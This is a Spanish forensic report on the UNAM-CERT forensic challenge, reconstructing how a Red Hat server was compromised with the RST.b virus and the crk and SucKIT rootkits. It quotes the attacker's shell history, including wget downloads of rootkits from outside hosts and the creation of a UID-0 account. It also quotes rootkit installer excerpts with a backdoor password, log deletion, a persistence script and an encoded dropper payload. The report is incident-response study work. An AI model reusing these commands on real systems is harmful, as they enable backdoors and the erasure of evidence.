Análisis Forense de Sistemas - UNAM-CERT

Análisis Forense Reto Forense v2.0
Juan Antonio Fernández
Autodidacta
Introducción
El informe se ha realizado con fines comprensibles, por lo que se ha decidido utilizar herramientas comunes y
disponibles en el Sistema Linux. Así, se ha optado por usar como Sistema Operativo SuSE 8.2 LiveEval. El informe se ha
dividido en partes, en primer lugar, se exponen los pasos iniciales para establecer el entorno de trabajo que incluye el
establecimiento de una estación de análisis o de trabajo; la preparación de las imágenes, en definitiva dedicado a reunir la
información básica del Sistema Operativo; software instalado, servicios activados y posibles vías de entrada. Se verifica la
existencia de un acceso no autorizado al sistema y se analiza la forma en que se llevó a cabo dicho acceso para seguidamente
abordar la reconstrucción del ataque y las evidencias que nos fueron llevando a cada conclusión y se confirma de que el sistema
ha sido comprometido. Se realiza un análisis de las herramientas introducidas en el sistema por los atacantes, y se detallan las
herramientas que utilizamos para realizar el análisis.
Preparación para el Análisis
La primera tarea a realizar a la hora de llevar a cabo el análisis forense de las imágenes del sistema, es crear el entorno de
trabajo adecuado que nos permita realizar el estudio correctamente. Se debe poner especial hincapié en preservar inalterado el
estado de las imágenes a analizar y en asegurarnos de que disponemos de las imágenes adecuadas. Procedimos a descargar las
imágenes de la dirección http://www.seguridad.unam.mx/eventos/reto/. Una vez descargadaslas imágenes, verificamos las
sumas md5 de cada uno de los ficheros de las imágenes. En el fichero de texto encontramos información sobre las firmas md5
de cada imagen; mediante la orden md5sum, obtenemos las firmas de las evidencias, y constatamos que estas no han sufrido
modificación en el tránsito hasta nuestro ordenador:
# md5sum *.dd
639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd
f4a194be5c2bfb682aaf27456f5e80e4 hda2.dd
b90bbfb50821086f195054013260888c hda3.dd
cfd673d75f3a2297577376aef79a3fb3 hda5.dd
eb99858c421ae0a48ac7772600dff57c hda6.dd
Montando las imágenes en el disco
Posteriormente, se procederá a montar las imágenes de las particiones para comenzar el análisis de las mismas en el equipo
. Para esto se puede usar el mecanismo de loop-back disponible en Linux, que permite el montaje de los ficheros imagen de la
partición en el equipo, pudiendo así acceder a archivos de estos sistema de ficheros sin modificarlo de ninguna manera. Para
hacerlo hay que montarlo de modo solo lectura (nodev) con opción "-r" o "-o ro".
#!/bin/sh
mount -o ro,loop,nodev,noexec /x/hda1.dd
mount -o ro,loop,nodev,noexec /x/hda2.dd
mount -o ro,loop,nodev,noexec /x/hda5.dd
mount -o ro,loop,nodev,noexec /x/hda3.dd
/x/raíz
/x/home
/x/usr
/x/var
Ahora podemos ver el contenido de las particiones montado sobre /x. Vamos por ahora ignorar el contenido de la partición
/home, ya que ningún fichero de sistema operativo se encuentra allí. En el futuro podemos examinar su contenido para detectar
algún indicio de back-door, como aplicaciones setuid/setgid, ficheros .rhosts, comandos añadidos a los ficheros de
inicialización de shell que pueden enviar una copia de fichero que contiene passwords a una dirección, borrar fichero, etc.
Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar en la partición raíz.
En primer lugar, procederemos a la recopilación de datos relacionados con el tipo de sistema: versión del sistema operativo,
particiones utilizadas, fecha en la que se detectó el ataque, fecha en la que se desconectó de la red el equipo y cualquier otra
modificación que pudiese tener relevancia para el análisis.
Descripción del equipo atacado
# versión del sistema
linux: less /x/raíz/etc/redhat-release
Red Hat Linux reléase 7.3 (Valhalla)
# Zona horaria
linux: cat /x/raiz/etc/sysconfig/clock
ZONE="América/Mexico_City"
UTC=false
ARC=false
# Las particiones con las que contaba la máquina son las siguientes:
linux: less /x/raíz/etc/fstab
LABEL=/ / ext3 defaults 1 1
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
LABEL=/var /var ext3 defaults 1 2
/dev/hda6 swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0
linux: less /x/raiz/etc/sysconfig/networkscripts/ifcfg-eth0)
DEVICE=eth0
BOOTPROTO=static
BROADCAST=192.168.200.255
IPADDR=192.168.200.128
NETMASK=255.255.255.0
NETWORK=192.168.200.0
ONBOOT=yes
# Gateway: (/etc/sysconfig/network)
NETWORKING=yes
HOSTNAME=finanzas
GATEWAY=192.168.200.254
# Nombre del ordenador (según /etc/hosts):
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 finanzas localhost.localdomain localhost
# La máquina es instalada el día 20 de Enero de 2005, y puesta en red el mismo día 20 de Enero de 2005,a las 23:29
# Se detecta que ha sido atacada el día 29 de Enero, tras recibirse un aumento de tráfico considerable y modificaciones de
ejecutables y ficheros.
22:11:44.000000000 +0100 ftp <------------------------accedido IP 211.57.88.250
22:14:57.000000000 +0100 httpd.mm.723.sem
<-------acceso a documento vacío (propietario 48 (Apache) grupo root)
22:16:49.000000000 +0100 /dev * <-----------primera modificación sobre ejecutables realizada 29/01/2005
22:16:49.000000000 +0100 gawk *
# Servidor de nombres (/etc/resolv.conf):
nameserver 192.168.123.1
nameserver 192.168.55.1
# Se desconecta la máquina y se bloquea el acceso a ella el día 31 de Enero de 2005
22:25:00.000000000 +0100 /etc/mrtg
22:25:00.000000000 +0100 mrtg.ok
Entrada al sistema
El ataque al sistema se produce el día 29 de Enero, a las 21:16:49. El análisis forense de las imágenes no nos refleja casi
ninguna información sobre la forma en la que el atacante entró en el sistema. La fecha de este ataque es propia de la fecha de
creación de los archivos "/dev/hdx1" y "/dev/hdx2". Como veremos más tarde estos ficheros son obra de el virus RST.b. En esta
fecha se detecta un aumento considerable de actividad desde las 21:11:44. No tenemos análisis de tráfico que nos
proporcione información sobre la actividad que se va produciendo en el sistema por la inexistencia de logs (están eliminados).
Se muestran conexiones que inician la descarga de ficheros binarios según (.bash_history). Esta descarga de estos ficheros es
confirmada por la información proporcionada por la línea del tiempo que hemos creado. Tras analizar el contenido de estos
ficheros, obtenemos la forma en la que el atacante ha conseguido acceso al sistema. Se ha aprovechado una vulnerabilidad de
OpenSSL que abre un shell perteneciente al usuarionobody/apache sobre el servidor Web Apache. Para ello, se utiliza un
exploit remoto infectado por el virus LinuxRST.b que provoca un buffer overflow en la llave del protocolo SSL: KEY_ARG.
Este abre un shell con privilegios de root. Más tarde veremos el paquete Selena.tar.gz utilizado para ello.
Análisis con Herramientas comunes Linux
La línea cronológica de tiempos es necesario para hacer un análisis forense, es importante que el investigador contesta a
tres preguntas: ¿Quién, Cómo, y Cuándo?. Nosotros ahora veremos los acontecimientos vistos en las secciones previas
ocurridas. Utilizaremos fundamentalmente herramientas comunes de Linux para realizar el análisis (aparte de que no tenemos
otras). El primer paso será la obtención de los tiempos de Modificación/Acceso/ de todos los ficheros del sistema. Es
fundamental capturar estos tiempos antes de emprender cualquier acción sobre los ficheros del equipo atacado que pueda
modificar su valor. La secuencia de accesos y modificación de los ficheros permitirá crear una línea temporal que muestre los
acontecimientos ocurridos en el sistema por el intruso. Al final de este proceso se obtiene un listado completo de todos los
ficheros del sistema que hayan modificado sus tiempos desde la "fecha que buscamos, en nuestro caso desde el 29/01/2005".
La aparición de modificaciones en ficheros como: gawk, chmod, dd, df, ls, mail, netstat ..., sugeriría la posibilidad de que se
haya instalado un rootkit ó un Virus en el sistema. Un método para saber si los ficheros modificados son versiones troyanizadas
de los originales es examinar los ficheros sospechosos buscando cadenas que delaten esta posibilidad. Normalmente, la
información que se obtiene de este estudio suelen ser rutas de directorios y ficheros que no debería aparecer en el sistema.
Primero, verifiquemos que es lo que contiene el fichero /x/etc/passwd para ver que UID/GIDs hay dentro y observar si hay
alguna modificación realizada. La aplicación nos mostrará el contenido de UIDs y GIDs. Este fichero puede contener cuentas
creadas por los intrusos, veamos:
linux: less /x/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
named:x:25:25:Named:/var/named:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
Contador:x:500:500:Contador publico:/home/Contador:/bin/bash
weed:x:0:0::/home/weed:/bin/bash
Podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen números UID elevados y sin orden
aparente, por ejemplo "nfsnobody"con UID 65534 y GID 65534. Un fichero de passwd legítimo y creado por el sistema,
normalmente sigue un patrón secuencial de asignación de UID?s. Mientras aquí anotamos que las cuentas con UIDs de orden
bajo como el recientemente añadido "weed" con UID 0 y GID 0 (lo mismo que root) son sospechosos por su posición. Veamos
en que fecha se modifico el archivo /x/etc/passwd :
linux: ls -lat /x/etc/passwd
-rw-r--r--
1 root
root
1381 Jan 29 22:25 passwd
Bien el archivo passwd es modificado después de la intrusión a las 21:16:49 del 29/01/2005,sobre esta fecha vamos a
obtener un listado y crear una línea temporal que muestre los acontecimientos ocurridos en el sistema para su posterior análisis
en orden cronológico, para ello ejecutamos:
linux: ls -latR --full-time | grep 2005-01-29 | cut -c 55- | sort -u | uniq -u
22:16:49.000000000 +0100 /dev
22:16:49.000000000 +0100 gawk <-----los primeros ejecutables modificados.
22:16:49.000000000 +0100 gawk-3.1.0
22:16:49.000000000 +0100 hdx1
22:16:49.000000000 +0100 hdx2
Con este listado obtenemos solo los modificados del sistema del día 29/01/2005 si deseamos ver conjuntamente con los
accedidos podemos utilizar la instrucción en la línea de comandos lo siguiente:
ls -a --full-time --time=atime -R | grep 2005-01-29 | cut -c 55- | sort -u
Vamos a analizar los primeros archivos modificados por el intruso, y como vemos son gawk, gawk-3.1.0, hdx1 y hdx2.
Busquemos el alojamiento de estos con find:
linux:/x/raiz # find -name gawk
./bin/gawk
Lo hemos localizado en la carpeta en /bin/gawk. Veamos de que tipo de archivo se trata con file
linux:/x/raíz/bin # file gawk
gawk: ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), dynamically linked (uses shared libs), not stripped
El comando file nos muestra que es un ejecutable tipo ELF 32-bit , intel y no esta strippeado. Con la herramienta strings
(utilizada bastante en los análisis forenses) tracemos el ejecutable buscando indicios de su modificación por el intruso.
linux:/x/raíz/bin # strings -a gawk | less
libm.so.6
fmod
__gmon_start
...
/dev/hdx
...
DOM‘
/bin/sh
xxxxyyyyzzzz
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
ppp0
eth0
h/bin
...
snortdos
tory
/lib/ld-linux.so.2
(END OF FILE)
En estos momentos nuestra herramienta strings nos delata la modificación sufrida y tenemos una cadena sospechosa
/dev/hdx, y además muy parecido al fichero (en nombre) al creado al comienzo de la intrusión hdx1 y hdx2. Luego
analizaremos /dev lugar muy utilizado por los intrusos para ocultar sus archivos e intentemos localizar ficheros inusuales en
el sistema, para ello utilizaremos de nuevo el comando find.
linux:/x/raiz/dev # find -not -type b -not -type c -not -type s -not -type p -not -type l
...
./pts
./MAKEDEV
./ataraid
...
./cpu
./cpu/0
...
./cpu/13
./cpu/14
...
./cpu/6
./cpu/7
./cpu/8
...
./usb
./video
./hdx1
./hdx2
...
... y encontramos hdx1 y hdx2 en /dev observemos de que tipo de archivo se trata con file
linux:/x/raíz/dev # file hdx1
hdx1: empty
linux:/x/raíz/dev # file hdx2
hdx2: empty
Analizados estos dos ficheros, están vacíos y creados a las 22:16:49.000000000 +0100 hdx1 buscamos en Internet
referencias a la composición de hdx1 y hdx2 y hemos encontrado que se trata de un virus de tipo backdoor llamado LinuxRST.b
. Que infecta archivos ELF como el infectado en nuestro caso /bin/gawk y trata de reinfectar a los que se encuentran en /bin en
caso de tener permisos suficientes, sin embargo en estos minutos solo tenemos dos infectados según nuestra línea de tiempo. El
virus en cuestión crea los archivos /dev/hdx1 y /dev/hdx2 trata de poner en modo promiscuo las interfaces eth0 y ppp0. E
intenta conectarse a esta dirección: GET /~telcom69/gov.php HTTP/1.0 por el puerto 80.
La parte backdoor abre un socket raw a la escucha usando el protocolo EGP(Exterior Gateway Protocol). Si recibe un
paquete concreto el backdoor mira si en el byte 23 se encuentra el valor 0x11. De ser así, busca la presencia de un string de tres
bytes con el valor DOM en el offset 0x2A. Si ambas condiciones se cumplen, el backdoor observa la existencia de un comando
que puede ser 1 o 2. Un comando "1" devuelve una shell al usuario. Un comando "2" hace algo raro que consiste en devolver la
cadena DOM al atacante a través de un puerto UDP. Para más información se puede visitar estos enlaces:
para GET /~telcom69/gov.php HTTP/1.0 hemos encontrado un enlace en
http://archives.neohapsis.com/archives/incidents/2001-12/0258.html
para snortdos tory tenemos otro enlace en http://www.viruslist.com/
Analicemos si existen más binarios infectados en el sistema comprometido por el virus RST.b,
linux:/x/raíz/bin # grep -ao snortdos *
awk:snortdos
chgrp:snortdos
chmod:snortdos
chown:snortdos
cp:snortdos
cpio:snortdos
dd:snortdos
df:snortdos
dnsdomainname:snortdos
domainname:snortdos
ed:snortdos
gawk:snortdos
gawk-3.1.0:snortdos
hostname:snortdos
ln:snortdos
ls:snortdos
mail:snortdos
mkdir:snortdos
mknod:snortdos
mktemp:snortdos
mt:snortdos
netstat:snortdos
nisdomainname:snortdos
ping:snortdos
red:snortdos
setserial:snortdos
ypdomainname:snortdos
Observamos con la opción -ao de grep que busca dentro de los propios binarios lo pedido (la firma del virus LinuxRST.b
"snortdos tory", y por supuesto tenemos lo buscado; un listado de todos los binarios de /bin infectados por dicho virus, pero
¡ojo, con diferentes fechas y tiempo!, según nuestra línea del tiempo, lo veremos más tarde. La siguiente actividad sospechosa
se inicia a las 22:19:33 del 29/01/2005, pero antes busquemos si existe aun el fichero .bash_history, por lo general es
modificado o incluso borrado y veamos si nos suministra alguna información sobre laguna actividad ejercida por el intruso.
linux:/x # find -name .bash_history
./raíz/root/.bash_history
./raíz/.bash_history <-------------------./var/tmp/.bash_history
Buscamos con nuestra herramienta find (muy útil si no esta troyanizada). Tenemos tres .bash_history, en el sistema, veamos
la fecha de modificación del fichero /raíz/.bash_history
linux:/x/raíz # ls -l .bash_history
-rw------- 1 root root
665 Jan 29 22:27 .bash_history
Vemos que a sido modificada después de la intrusión, por lo tanto miramos en su interior.
linux:/x/raíz # cat .bash_history
id
/usr/sbin/adduser -g 0 -u 0 -o weed
passwd weed
/sbin/ifconfig | grep "inet"
ls -sa
dir
/usr/sbin/userdel weed
...
wget www.zetu.as.ro/crk.tar.gz
tar xzvf crk.tar.gz
...
...
rm -rf sc*
...
wget www.zetu.as.ro/pico
chmod +x pico
mv pico " "
export PATH="."
""
...
El intruso utiliza el comando adduser para crear una cuenta con los mismos valores como root con -g 0 y -u 0 y le asigna
una contraseña lo que confirma la modificación de /x/etc/passwd a las 22:18:35,
weed:x:0:0::/home/weed:/bin/bash
22:18:35.000000000 +0100 passwd-
y también en el fichero de /x/etc/shadow a las 22:25:25
weed:$1$DyKN2D1p$uinbWE4oPSQEmFLEAEH/81:12812:0:99999:7::: 22:25:25.000000000 +0100 shadow
Observemos en el .bash_history que el intruso empieza a descargarse herramientas para su uso personal una vez tenido un
acceso al sistema como root, con el comando wget (descargador de archivos) accede a paginas web desde donde se descarga los
siguientes ficheros:
wget www.zetu.as.ro/crk.tar.gz
wget www.zetu.as.ro/pico
Bien realicemos lo mismo en nuestro ordenador y miremos que tipos de archivo se ha descargado nuestro intruso y para que
sirven; es una buena forma de trazar los archivos y ficheros modificados. Según nuestra línea de tiempo una vez ejecutado estos
archivos del empaquetado se crean ficheros y carpetas nuevas :
linux: wget www.zetu.as.ro/crk.tar.gz
tar xzvf crk.tar.gz
linux:/descargas # tar -tvf crk.tar
drwxr-xr-x qmailp/503
0 2005-01-05 05:06:24 crk/
-rwxr-xr-x root/root 6427 2005-01-05 09:10:41 crk/install
-rw-r--r-- qmailp/503 430885 2002-01-14 07:42:26 crk/bin.tgz
-rw-r--r-- qmailp/503 519 2002-10-06 04:51:37 crk/conf.tgz
-rw-r--r-- qmailp/503 28999 2001-01-12 13:15:29 crk/lib.tgz
Sin lugar a dudas el empaquetado crk es un rootkit, (por las carpetas de crk/bin.tgz, crk/lib.tgz posiblemente contienen
binarios troyanizados) si echamos un vistazo al fichero install se podrá comprobar que se trata de un script de instalación de
estos programas, que muestra paso a paso la instalación en el sistema de los mismos, así que veamos el contenido del fichero de
install con cat crk/install:
# Linux all rootkit ... made for personal use and friends by ZeToo
# Greetz to : V-R34L , Beleaua , Azazel ...
# This is my first sshd backdoor so it has minimal things ...
# i‘ll add functions in time :)
# No install help added coz its a "private" rk
# www.cycomm-lamm3rz.com
...
# Asigning default port/password ...just in case ...
dpass=cycommrk
dport=7777
...
killall -9 syslogd
...
mv lib/* /lib/.
...
chattr -isa /sbin/xlogin 2>/dev/null
chattr -isa /bin/login 2>/dev/null
...
mv /sbin/xlogin /bin/login 2>/dev/null
/sbin/ldconfig
...
chattr -AacdisSu /etc/ld.so.hash 2>/dev/null
chattr -AacdisSu /lib/libext-2.so.7 2>/dev/null
...
cp -f /etc/ld.so.hash /lib/libext-2.so.7
...
./pg $dpass > /etc/ld.so.hash <------22:21:50.000000000 +0100 ld.so.hash ------dbSj8RE0TA3pQ
... # clave creada por el ejecutable pg
echo "#!/bin/bash" >> /etc/rc.d/init.d/cycomm <-------- 22:21:50.000000000 +0100 cycomm
echo "#startup script ... doh" >> /etc/rc.d/init.d/cycomm
echo "/usr/sbin/xntps -q" >> /etc/rc.d/init.d/cycomm
chmod +x /etc/rc.d/init.d/cycomm
... # se asegura el arranque
rm -rf /var/log/*
<-----------explicación por que no existen ningún /var/log/
...
rm -rf /bash.history <---------- ¡No debería aparecer el fichero .bash_history!
rm -rf /root/.bash_history
<---------- ¡No debería aparecer el fichero .bash_history!
... # al ejecutarse esta orden se borra los bash_history
rm -rf crk*
<--------explicación por que no existe la carpeta en el sistema
Aquí vemos la confirmación de lo anteriormente expuesto se trata de un rootkit tipo backdoor donde podemos observar las
modificaciones realizadas al sistema una vez ejecutado el script de instalación: se pasa como pass cycommrk trabajara en el
puerto 7777; se mata la ejecución de syslogd; se mueve las librerías del paquete crk a las librerías de sistema; se crean varios
ficheros, se les asigna contraseñas con el ejecutable pg;./pg $dpass > /etc/ld.so.hash (dbSj8RE0TA3pQ) ;se asegura que
arranque todo lo instalado modificando /etc/rc.d/init.d/cycomm; y se ejecuta una series de ordenes que demuestran que el
intruso carece de una mínima formación solo se limita a ejecutar el empaquetado y este realiza un borrado del sistema como rm
-rf /var/log/* , rm -rf /bash.history y rm -rf /root/.bash_history (realmente se les esta gritando al administrador ¡estoy
aquí ! ). Luego si miramos en /var/log/ no tendríamos nada de información de los logs y realmente los .bash_history tampoco
deberían de existir puesto que son borrados literalmente. En la línea del tiempo las modificaciones de la ejecución de este
rootkit se observan con precisión
22:19:33.000000000 +0100 libproc.so -> libproc.so.2.0.6
22:21:49.000000000 +0100 chmod
22:21:50.000000000 +0100 cycomm
22:21:50.000000000 +0100 hosts.h
22:21:50.000000000 +0100 init.d
22:21:50.000000000 +0100 ld.so.cache
22:21:50.000000000 +0100 ld.so.hash
22:21:50.000000000 +0100 libext-2.so.7
Este rootkit tiene un verdadero kit de utilidades preparadas para realizar ataques contra el sistema, miremos en la carpeta de
crk/bin/ (recordemos que el empaquetado crk nos lo hemos descargado de la misma web que el intruso y lo hemos instalado en
nuestro ordenador):
linux:/descargas/crk/bin # ls -lat
total 824
drwxr-xr-x 5 root root
4096 Feb 26 12:41 ..
drwxr-xr-x 2 root root
4096 Feb 25 19:06 .sh
drwxr-xr-x 3 root root
4096 Feb 25 16:27 .
-r-xr-xr-x 1 root root
112640 Jan 14 2002 ssh.tar
-r-xr-xr-x 1 root root
3216 Jan 14 2002 pg
-r-xr-xr-x 1 root root
95383 Jan 22 2001 ssh-only.tgz
-r-xr-xr-x 1 root root
16070 Jan 17 2001 tks
-r-xr-xr-x 1 root root
13725 Jan 17 2001 login
-r-xr-xr-x 1 root root
31452 Dec 13 2000 md5sum
-r-xr-xr-x 1 root root
14808 Dec 13 2000 encrypt
-r-xr-xr-x 1 root root
82628 Nov 29 2000 lsof
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
-r-xr-xr-x
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
root
root
root
root
root
root
root
root
root
root
root
root
root
39696 Nov 29 2000 dir
59536 Nov 29 2000 find
31504 Nov 29 2000 ifconfig
39696 Nov 29 2000 ls
54152 Nov 29 2000 netstat
62920 Nov 29 2000 ps
12340 Nov 29 2000 pstree
23560 Nov 29 2000 slocate
26496 Nov 29 2000 syslogd
33992 Nov 29 2000 top
7578 Aug 21 2000 tkp
1382 Jul 25 2000 sz
1345 Sep 9 1999 tksb
Explicaremos brevemente para que sirven algunos ficheros como información didáctica, para mas información se puede
visitar este enlace: https://tms.symantec.com/members/AnalystReports/030929-Analysis-SHV4Rootkit.pdf
/usr/include/file.h
<------------------------(para ocultar archivos)
/usr/include/proc.h <------------------------(para el proc del picosegundo que oculta)
/lib/lidps1.so
<-------------------------(para el pstree que oculta)
/usr/include/hosts.h <------------------------- (para el netstat y red-ocultar)
/usr/include/log.h
<--------------------------(para el registro que oculta)
/lib/lblip.tk/
<---------------------------(backdoored archivos de la configuración del ssh están en este directorio)
/dev/sdr0
<--------------------------(suma de comprobación de los sistemas md5)
/lib/ldd.so
<--------------------------{que coloca el limpiador del tks(sniffer), del tkp(parser) y del tksb(log)}
y los binario como ps, netstat, ls, top,etc. son binarios troyanizados, preparados para ser sustituidos por los originales del
sistema con el objetivo de ocultar toda la información de nuestro intruso al administrador del sistema comprometido; aunque
seria inútil por la barbaridad cometida y explicada anteriormente. Explicación que demuestra el poco conocimiento de esta
herramienta por parte del intruso, solo se limita a ejecutarla sin comprobar realmente lo que esta sucediendo en el sistema .
Sigamos con nuestro análisis con los archivos modificados según nuestra línea del tiempo, y observamos los ejecutables init
y initsk12 localizados en la carpeta /sbin modificados el 29/01/2005 a las 22:22:00 :
22:22:00.000000000 +0100 init
22:22:00.000000000 +0100 initsk12
Examinemos estos binarios con nuestra herramienta favorita strings y veamos que nos dice y que modificaciones ha sufrido
estos ejecutables para estar en nuestra línea de tiempos:
strings -a /x/sbin/init | less
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:./bin:/usr/share/.X12-kernel:/usr/share
/.X12-kernel/bin
...
BD_Init: Starting backdoor daemon...
FUCK: Can’t allocate raw socket (%d)
HOME=/usr/share/.X12-kernel
HISTFILE=/dev/null
SHELL=/bin/bash
TERM=linux
...
/sbin/initsk12
...
/dev/hdx
...
DOM‘
/bin/sh
xxxxyyyyzzzz
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
ppp0
eth0
h/bin
...
snortdos
tory
...
/sbin/init
/sbin/initsk12
login
ncftpget
wget
lynx
ncftpput
telnet
rlogin
rexec
passwd
adduser
Podemos apreciar que el binario realiza algo interesante se trata de una puerta trasera ó backdoor (BD_Init: Starting
backdoor daemon...) para esconder unos procesos y archivoslogin, wget,lynx passwd...
(HOME=/usr/share/.X12-kernel)HOME es el alojamiento de esta puerta trasera y a demás tiene la posibilidad de modificar el
archivo en /sbin/init, el binario initsk12 es probablemente la versión original de init. Este tipo de archivos es usado cuando se
quiere ocultar las pruebas del sistema comprometido, el strings nos delata además que esta infectado por el virus
RST.b, (snortdos tory) buscamos más información en el sistema.
linux:/x # find -name .bash_history
./raíz/root/.bash_history <--------------------./raíz/.bash_history
./var/tmp/.bash_history
linux:/x/raíz/root # ls -l .bash_history
-rw------- 1 root root
133 Jan 29 22:22 .bash_history
linux:/x/raíz/root # cat .bash_history
ls
dir
ps xc
wget xhack.150m.com/sc.tgz
tar -zxvf sc.tgz
cd sc
./inst
./sk
w
wget xhack.150m.com/https
perl https
cd ..
rmrm -rf sc*
Bien visitamos el .bash_history de root observamos que el intruso se descarga más herramientas y las ejecuta sobre el
sistema, realicemos lo mismo y descarguémoslo desde esta misma pagina web en nuestro ordenador y analicemos su contenido
wget xhack.150m.com/sc.tgz
tar xzvf sc.tgz
linux:/descargas/sc # ls -lat
total 124
drwx------ 2 root root
drwxr-xr-x 7 root root
-rwx------ 1 root root
-rwx------ 1 root root
-rwx------ 1 root root
4096 Feb 26 16:20 .
4096 Feb 25 16:28 ..
29252 Feb 25 12:35 sk
59085 Jan 7 17:14 inst
16672 Jan 7 17:14 login
vemos el tipo de archivo que son estos ejecutables:
linux:/D/evi/sc # file sk
sk: ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), statically linked, stripped
linux:/D/evi/sc # file login
login: ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), dynamically linked (uses shared libs), stripped
Comprobamos que los ejecutables son del tipo ELF 32-bit , intel y están strippeados
Veamos el inst y el desarrollo y ejecución del mismo:
#!/bin/bash
D="/usr/share/.X12-kernel"
H="sk12"
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e "\037\213\010\010\161\265\336\101\002\003\163\153\000\355\175\175\174\
\124\325\265\350\114\146\022\206\144\140\006\035\065\050\342\240\120\
\101\021\162\204\266\004\102\015\011\007\...........
................\325\075\000\177\203\242\360\342\126\031\014\255\206\153\361\
\302\274\351\237\077\001\336\244\353\340\375\157\363\075\011\166\104\
\162\000\000" | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo us into memory. Have fun!
Como se ve copia sk a /sbin/init y el /sbin/init original lo copia a /sbin/initsk12 que es el valor de la variable H si hacemos
un ls /bin/initsk12 no encontrara nada, este rootkit esta en un estado de espera si no hay nadie conectado no hay mucho que
hacer para encontrar cual será su "HOME" donde esta instalado, he ahí la excusa que chkrootkit busca esa cadena en /sbin/init,
una forma de detectar el HOME es conectarse e ir al /proc y buscar PID. Por lo tanto tenemos que es un rootkit en el cual
/sbin/init es una copia de sk infectado por el virus RST.b y /sbin/initsk12 es la versión original de /sbin/init y no esta infectado
por el virus RST.b. Se puede seguir un enlace en http://hysteria.sk/sd/f/suckit/
Análisis del ejecutable pico
Echamos un vistazo a la línea del tiempo:
22:26:47.000000000 +0100 <----------archivo creado sin nombre " ".
Esta explicación de este archivo la encontramos en el fichero de /x/raíz/,bash_history
...
chmod +x pico
mv pico " "
...
Buscamos el lugar y en /var/log/ nos encontramos con:
drwxr-xr-x 2 root root
-rw-r--r-- 1 root root
-rwxr-xr-x 1 root root
drwxr-xr-x 20 root root
4096 Jan 31 11:02 .
9209 Jan 31 11:02 rpmpkgs
24056 Jan 29 22:26 *<--------archivo oculto creado
4096 Jan 20 16:57 .
Podemos Observar la total inexistencia de los archivos logs del sistema, se recuerda que el rootkit crk.tar.gz los eliminó al ser
ejecutado por el intruso con el fin de no dejar huellas. Aunque el mencionado paquete crt.tar.gz contiene un script que sólo
elimina ciertas partes de los logs (evitando el borrado total de los logs y por lo tanto ser descubierto por el administrador del
sistema) el cual no utilizo, observemos parte de este script:
...
WERD=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "lastlog" |
grep -v "utmp" | grep -v "wtmp" | grep -v "@")
for fil in $WERD
do
line=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’)
echo -n "${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}...${RES}"
...
En el script se observa que busca cadenas en /var/log que contengan "tgz", "tar" "/" ... y las borra de los
ficheros de logs haciendo un poco más complicado el visualizar la intrusión. Sigamos con nuestro análisis del
binario Pico
linux:/x/raíz # ls -l .bash_history
-rw------- 1 root root
665 Jan 29 22:27 .bash_history
...
linux:/x/raíz # cat .bash_history
...
id
...
wget www.zetu.as.ro/pico
chmod +x pico
mv pico " "
export PATH="."
""
/usr//sbin/killall -9 zbind
En bash_history se nos refleja la descarga de este ejecutable, le otorga permisos de ejecución y le cambia de nombre "pico "
por el nombre " " y lo instala /var/log, analicemos el binario con file y strings
linux:/x/var/log # file *
:
